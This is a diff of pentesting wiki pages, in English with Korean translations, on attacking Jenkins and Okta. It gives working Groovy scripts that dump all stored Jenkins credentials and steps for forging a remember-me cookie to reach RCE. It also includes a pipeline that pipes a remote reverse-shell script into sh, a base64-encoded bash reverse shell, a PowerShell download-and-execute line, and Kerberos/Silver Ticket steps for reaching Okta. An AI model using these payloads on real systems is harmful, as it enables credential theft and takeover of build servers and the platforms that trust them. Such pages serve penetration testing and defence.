- `jenkins.model.Jenkins.crumbSalt`: [CSRF 보호 메커니즘](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)에서 사용됩니다; 및
|
||||
|
||||
### Credentials Access
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
자격 증명은 **전역 제공자**(`credentials/`)에 범위가 지정될 수 있으며, 이는 구성된 모든 프로젝트에서 접근할 수 있습니다. 또는 **특정 프로젝트**(`job/<project-name>/configure`)에 범위가 지정되어 해당 특정 프로젝트에서만 접근할 수 있습니다.
|
||||
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
[**문서**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)에 따르면: 범위 내에 있는 자격 증명은 제한 없이 파이프라인에 제공됩니다. **빌드 로그에서 우발적인 노출을 방지하기 위해**, 자격 증명은 일반 출력에서 **마스킹**되므로 `env`(Linux) 또는 `set`(Windows) 호출이나 환경 또는 매개변수를 인쇄하는 프로그램이 **빌드 로그에서 자격 증명을 노출하지 않습니다**.
|
||||
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
**그래서 자격 증명을 유출하기 위해 공격자는 예를 들어, base64로 인코딩해야 합니다.**
|
||||
|
||||
## References
|
||||
|
||||
@@ -87,12 +87,8 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/](https://www.jenkins.io/doc/developer/security/secrets/)
|
||||
- [https://www.jenkins.io/blog/2019/02/21/credentials-masking/](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-for-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
이 블로그 게시물에서는 Jenkins의 Local File Inclusion 취약점을 RCE로 변환하는 훌륭한 방법을 찾을 수 있습니다: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
이것은 임의의 쿠키를 조작하여 RCE를 얻기 위해 로컬 파일 읽기를 악용하는 게시물의 요약입니다. 제가 직접 요약을 작성할 시간이 생길 때까지의 내용입니다:
|
||||
|
||||
### Attack Prerequisites
|
||||
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
- **Feature Requirement:** "Remember me"가 활성화되어 있어야 합니다 (기본 설정).
|
||||
- **Access Levels:** 공격자는 Overall/Read 권한이 필요합니다.
|
||||
- **Secret Access:** 주요 파일에서 이진 및 텍스트 콘텐츠를 읽을 수 있는 능력.
|
||||
|
||||
### Detailed Exploitation Process
|
||||
|
||||
@@ -18,18 +18,18 @@ This is an AI created summary of the part of the post were the creaft of an arbi
|
||||
|
||||
**User Information Retrieval**
|
||||
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
- 각 사용자에 대한 `$JENKINS_HOME/users/*.xml`에서 사용자 구성 및 비밀을 액세스하여 다음을 수집합니다:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
|
||||
**Secret Key Extraction**
|
||||
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- 쿠키 서명에 사용되는 암호화 키를 추출합니다:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Step 2: Cookie Forging
|
||||
|
||||
@@ -37,73 +37,69 @@ This is an AI created summary of the part of the post were the creaft of an arbi
|
||||
|
||||
- **Calculate Token Expiry Time:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 현재 시간에 1시간 추가
|
||||
```
|
||||
|
||||
- **Concatenate Data for Token:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Key Decryption**
|
||||
|
||||
- **Decrypt MAC Key File:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // 마스터 키를 AES128 키 형식으로 변환
|
||||
decrypted = AES.decrypt(macFile, key) // .mac 파일을 복호화
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Signature Computation**
|
||||
|
||||
- **Compute HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // 토큰과 MAC 키를 사용하여 HMAC 계산
|
||||
tokenSignature = bytesToHexString(mac) // MAC을 16진수 문자열로 변환
|
||||
```
|
||||
|
||||
**Cookie Encoding**
|
||||
|
||||
- **Generate Final Cookie:**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // 쿠키 데이터를 Base64로 인코딩
|
||||
```
|
||||
|
||||
#### Step 3: Code Execution
|
||||
|
||||
**Session Authentication**
|
||||
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
- `/crumbIssuer/api/json`에 요청을 보내 `Jenkins-Crumb`를 얻습니다.
|
||||
- 응답에서 `JSESSIONID`를 캡처하여 remember-me 쿠키와 함께 사용합니다.
|
||||
|
||||
**Command Execution Request**
|
||||
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
- Groovy 스크립트를 사용하여 시스템 수준의 명령이나 Jenkins 환경 내에서 다른 작업을 실행할 수 있습니다.
|
||||
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
제공된 curl 명령 예시는 임의의 코드를 안전하게 실행하기 위해 필요한 헤더와 쿠키를 사용하여 Jenkins에 요청을 보내는 방법을 보여줍니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,10 +3,9 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
> 이 스크립트는 `credentials.xml` 파일 내의 비밀만 나열하지만 **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다.
|
||||
|
||||
다음 코드를 실행하여 `/script`의 Groovy Script 콘솔에서 **모든 비밀을 덤프**할 수 있습니다.
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
|
||||
#### or this one:
|
||||
|
||||
#### 또는 이 경우:
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,42 +2,36 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Creating a new Pipeline
|
||||
## 새로운 파이프라인 만들기
|
||||
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
"새 항목"에서 (`/view/all/newJob`에서 접근 가능) **파이프라인**을 선택합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
**파이프라인 섹션**에 **리버스 셸**을 작성합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
마지막으로 **Save**를 클릭하고 **Build Now**를 클릭하면 파이프라인이 실행됩니다:
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Pipeline
|
||||
## 파이프라인 수정
|
||||
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
구성된 일부 파이프라인의 구성 파일에 접근할 수 있다면, **리버스 셸을 추가하여 수정**한 다음 실행하거나 실행될 때까지 기다릴 수 있습니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,37 +4,33 @@
|
||||
|
||||
## Creating a Project
|
||||
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
이 방법은 새로운 프로젝트를 만들어야 하기 때문에 매우 시끄럽습니다 (명백히 사용자가 새로운 프로젝트를 만들 수 있는 경우에만 작동합니다).
|
||||
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
1. **새 프로젝트 만들기** (자유형 프로젝트) "New Item"을 클릭하거나 `/view/all/newJob`에서 클릭합니다.
|
||||
2. **Build** 섹션에서 **Execute shell**을 설정하고 powershell Empire launcher 또는 meterpreter powershell을 붙여넣습니다 (이는 _unicorn_을 사용하여 얻을 수 있습니다). _powershell._ 대신 _PowerShell.exe_로 페이로드를 시작합니다.
|
||||
3. **Build now**를 클릭합니다.
|
||||
1. **Build now** 버튼이 나타나지 않으면 여전히 **configure** --> **Build Triggers** --> `Build periodically`로 이동하여 `* * * * *`의 크론을 설정할 수 있습니다.
|
||||
2. 크론을 사용하는 대신 "**Trigger builds remotely**" 구성을 사용할 수 있으며, 여기서는 작업을 트리거하기 위해 API 토큰 이름을 설정하기만 하면 됩니다. 그런 다음 사용자 프로필로 이동하여 **API 토큰 생성**을 클릭합니다 (이 API 토큰을 작업을 트리거하기 위해 호출한 API 토큰이라고 부릅니다). 마지막으로 다음과 같이 작업을 트리거합니다: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Project
|
||||
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
프로젝트로 이동하여 **구성할 수 있는지 확인**합니다 ( "Configure button"을 찾으세요):
|
||||
|
||||
.png>)
|
||||
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
**구성** **버튼**이 보이지 않으면 아마도 **구성할 수 없습니다** (하지만 모든 프로젝트를 확인하세요. 일부는 구성할 수 있고 다른 일부는 구성할 수 있을 수 있습니다).
|
||||
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
또는 각 프로젝트에서 `/job/<proj-name>/configure` 또는 `/me/my-views/view/all/job/<proj-name>/configure` 경로에 **접근해 보세요** (예: `/job/Project0/configure` 또는 `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execution
|
||||
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
프로젝트를 구성할 수 있는 경우 **빌드가 성공할 때 명령을 실행하도록 설정할 수 있습니다**:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
**Save**를 클릭하고 프로젝트를 **빌드**하면 **명령이 실행됩니다**.\
|
||||
리버스 셸을 실행하지 않고 단순한 명령을 실행하는 경우 **빌드의 출력 내에서 명령의 출력을 볼 수 있습니다**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,24 +4,21 @@
|
||||
|
||||
## Jenkins RCE with Groovy Script
|
||||
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
Jenkins에서 새 프로젝트를 만드는 것보다 덜 시끄럽습니다.
|
||||
|
||||
1. _path_jenkins/script_로 이동합니다.
|
||||
2. 텍스트 상자에 스크립트를 입력합니다.
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
다음과 같이 명령을 실행할 수 있습니다: `cmd.exe /c dir`
|
||||
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
**리눅스**에서는 다음과 같이 할 수 있습니다: **`"ls /".execute().text`**
|
||||
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
텍스트 안에 _따옴표_와 _단일 따옴표_를 사용해야 하는 경우, _"""PAYLOAD"""_ (삼중 큰따옴표)를 사용하여 페이로드를 실행할 수 있습니다.
|
||||
|
||||
**또 다른 유용한 groovy 스크립트**는 ( \[INSERT COMMAND]를 교체하세요):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
### 리버스 셸 in linux
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
HTTP 서버를 PS 리버스 셸로 준비하고 Jeking을 사용하여 다운로드하고 실행할 수 있습니다:
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
|
||||
### Script
|
||||
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
이 프로세스는 [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)로 자동화할 수 있습니다.
|
||||
|
||||
MSF를 사용하여 리버스 셸을 얻을 수 있습니다:
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,103 +4,103 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
[Okta, Inc.](https://www.okta.com/)는 클라우드 기반 소프트웨어 솔루션으로 신원 및 접근 관리 분야에서 인정받고 있습니다. 이러한 솔루션은 다양한 현대 애플리케이션에서 사용자 인증을 간소화하고 안전하게 설계되었습니다. 이들은 민감한 데이터를 보호하려는 기업뿐만 아니라 애플리케이션, 웹 서비스 및 장치에 신원 제어를 통합하려는 개발자에게도 적합합니다.
|
||||
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
Okta의 주력 제품은 **Okta Identity Cloud**입니다. 이 플랫폼은 다음과 같은 제품군을 포함합니다:
|
||||
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
- **Single Sign-On (SSO)**: 여러 애플리케이션에서 하나의 로그인 자격 증명을 사용하여 사용자 접근을 간소화합니다.
|
||||
- **Multi-Factor Authentication (MFA)**: 여러 형태의 인증을 요구하여 보안을 강화합니다.
|
||||
- **Lifecycle Management**: 사용자 계정 생성, 업데이트 및 비활성화 프로세스를 자동화합니다.
|
||||
- **Universal Directory**: 사용자, 그룹 및 장치의 중앙 집중식 관리를 가능하게 합니다.
|
||||
- **API Access Management**: API에 대한 접근을 보호하고 관리합니다.
|
||||
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
이러한 서비스는 데이터 보호를 강화하고 사용자 접근을 간소화하여 보안과 편의성을 모두 향상시키는 것을 목표로 합니다. Okta의 솔루션의 다재다능함은 다양한 산업에서 인기를 끌게 하며, 대기업, 중소기업 및 개인 개발자 모두에게 유익합니다. 2021년 9월 마지막 업데이트 기준으로 Okta는 신원 및 접근 관리(IAM) 분야에서 저명한 기업으로 인정받고 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
> Okta의 주요 목표는 외부 애플리케이션에 대한 다양한 사용자 및 그룹의 접근을 구성하는 것입니다. 만약 **Okta 환경에서 관리자 권한을 탈취**하게 된다면, 회사가 사용하는 **모든 다른 플랫폼을 탈취할 가능성이 매우 높습니다**.
|
||||
|
||||
> [!TIP]
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
> Okta 환경의 보안 검토를 수행하려면 **관리자 읽기 전용 접근**을 요청해야 합니다.
|
||||
|
||||
### Summary
|
||||
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
**사용자**가 있습니다 (이들은 **Okta에 저장되거나, 구성된 **Identity Providers**에서 로그인하거나, **Active Directory** 또는 LDAP를 통해 인증될 수 있습니다).\
|
||||
이 사용자들은 **그룹**에 속할 수 있습니다.\
|
||||
또한 **인증자**가 있습니다: 비밀번호와 WebAuthn, 이메일, 전화, Okta Verify와 같은 여러 2FA와 같은 다양한 인증 옵션이 있습니다 (이들은 활성화되거나 비활성화될 수 있습니다)...
|
||||
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
그런 다음, Okta와 동기화된 **애플리케이션**이 있습니다. 각 애플리케이션은 정보를 공유하기 위해 Okta와 일부 **매핑**을 가집니다 (예: 이메일 주소, 이름 등). 또한 각 애플리케이션은 사용자가 애플리케이션에 **접근**하기 위해 필요한 **인증자**를 나타내는 **인증 정책** 내에 있어야 합니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> The most powerful role is **Super Administrator**.
|
||||
> 가장 강력한 역할은 **Super Administrator**입니다.
|
||||
>
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
> 공격자가 관리자 접근으로 Okta를 탈취하면, **Okta를 신뢰하는 모든 앱이** 매우 높은 확률로 **탈취될 것입니다**.
|
||||
|
||||
## Attacks
|
||||
|
||||
### Locating Okta Portal
|
||||
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
일반적으로 회사의 포털은 **companyname.okta.com**에 위치합니다. 그렇지 않은 경우, **companyname.**의 간단한 **변형**을 시도해 보십시오. 찾을 수 없다면, 조직이 **CNAME** 레코드인 **`okta.companyname.com`**을 가지고 있을 가능성도 있습니다.
|
||||
|
||||
### Login in Okta via Kerberos
|
||||
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
만약 **`companyname.kerberos.okta.com`**이 활성화되어 있다면, **Kerberos가 Okta 접근에 사용됩니다**, 일반적으로 **Windows** 사용자에 대해 **MFA**를 우회합니다. AD에서 Kerberos 인증된 Okta 사용자를 찾으려면 **`getST.py`**를 **적절한 매개변수**와 함께 실행하십시오. **AD 사용자 티켓**을 얻은 후, **Rubeus** 또는 **Mimikatz**와 같은 도구를 사용하여 제어된 호스트에 주입하고 **`clientname.kerberos.okta.com`이 인터넷 옵션 "인트라넷" 영역에 있는지 확인하십시오**. 특정 URL에 접근하면 JSON "OK" 응답이 반환되어 Kerberos 티켓 수락을 나타내며 Okta 대시보드에 접근할 수 있습니다.
|
||||
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
**Okta 서비스 계정을 위임 SPN으로 탈취하면 Silver Ticket 공격이 가능합니다.** 그러나 Okta의 **AES**를 티켓 암호화에 사용하므로 AES 키 또는 평문 비밀번호를 소유해야 합니다. **`ticketer.py`를 사용하여 피해자 사용자에 대한 티켓을 생성하고** 이를 브라우저를 통해 전달하여 Okta에 인증합니다.
|
||||
|
||||
